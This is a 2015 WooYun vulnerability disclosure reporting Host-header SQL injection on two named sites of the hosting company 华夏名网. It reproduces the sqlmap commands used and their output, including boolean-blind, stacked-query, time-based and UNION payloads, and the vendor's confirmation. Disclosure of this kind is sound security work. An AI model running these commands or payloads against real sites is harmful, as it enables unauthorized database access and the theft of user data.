当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124849

漏洞标题:华夏名网两站SQL注入漏洞可导致管理员及大量用户信息泄露

相关厂商:华夏名网

漏洞作者: 凌零1

提交时间:2015-07-06 12:25

修复时间:2015-08-20 15:28

公开时间:2015-08-20 15:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-06: 细节已通知厂商并且等待厂商处理中
2015-07-06: 厂商已经确认,细节仅向厂商公开
2015-07-16: 细节向核心白帽子及相关领域专家公开
2015-07-26: 细节向普通白帽子公开
2015-08-05: 细节向实习白帽子公开
2015-08-20: 细节向公众公开

简要描述:

昨晚为了找洞,果断放弃复习高数!!!心塞啊!重修费去哪找啊- -、

详细说明:

纯属手贱,在host处加了一个单引号
第一枚:

5N[E_4`{@VTF55VGR3BA{W4.png


C:\Python27\sqlmap>sqlmap.py -u "http://weixin.sudu.cn/" -p "host" --level 3
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150609}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:46:58
[11:46:58] [INFO] resuming back-end DBMS 'mysql'
[11:46:58] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: Host (Host)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: weixin.sudu.cn%') AND 6258=6258#
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT)
Payload: weixin.sudu.cn%');(SELECT * FROM (SELECT(SLEEP(5)))wAzN) AND ('%'='
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: weixin.sudu.cn%') AND (SELECT * FROM (SELECT(SLEEP(5)))MOVB) AND ('
%'='
Type: UNION query
Title: MySQL UNION query (NULL) - 42 columns
Payload: -2365%') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,CONCAT(0x716a787a71,0x67706b78764e41667161,0x71706b7071),NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
[11:46:59] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.11
[11:46:59] [INFO] fetched data logged to text files under 'C:\Users\wjl\.sqlmap\
output\weixin.sudu.cn'


第二枚:

C:\Python27\sqlmap>sqlmap.py -u "http://cloud.sudu.cn/" -p "host" --level 3
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150609}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:48:33
[11:48:33] [INFO] resuming back-end DBMS 'mysql'
[11:48:33] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: Host (Host)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: cloud.sudu.cn%') AND 9235=9235#
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: cloud.sudu.cn%') AND (SELECT * FROM (SELECT(SLEEP(5)))EYJz) AND ('%
'='
---
[11:48:35] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.29
back-end DBMS: MySQL 5.0.12
[11:48:35] [INFO] fetched data logged to text files under 'C:\Users\wjl\.sqlmap\
output\cloud.sudu.cn'
[*] shutting down at 11:48:35

漏洞证明:

I}RN4UE`HTD)]4%]56@4)Q7.png


NKLPE3RF`DZ{@%6TY2SBMN2.png


另外一个站是盲注,比较慢

[LCAVJTL133U]}{R2KD(T]6.png

修复方案:

这可是两枚哦!!求高rank

版权声明:转载请注明来源 凌零1@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-06 15:27

厂商回复:

已确认漏洞,安排技术修复。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-06 14:25 | 镱鍚 ( 路人 | Rank:6 漏洞数:4 | 。。!)

    大牛,带我飞!!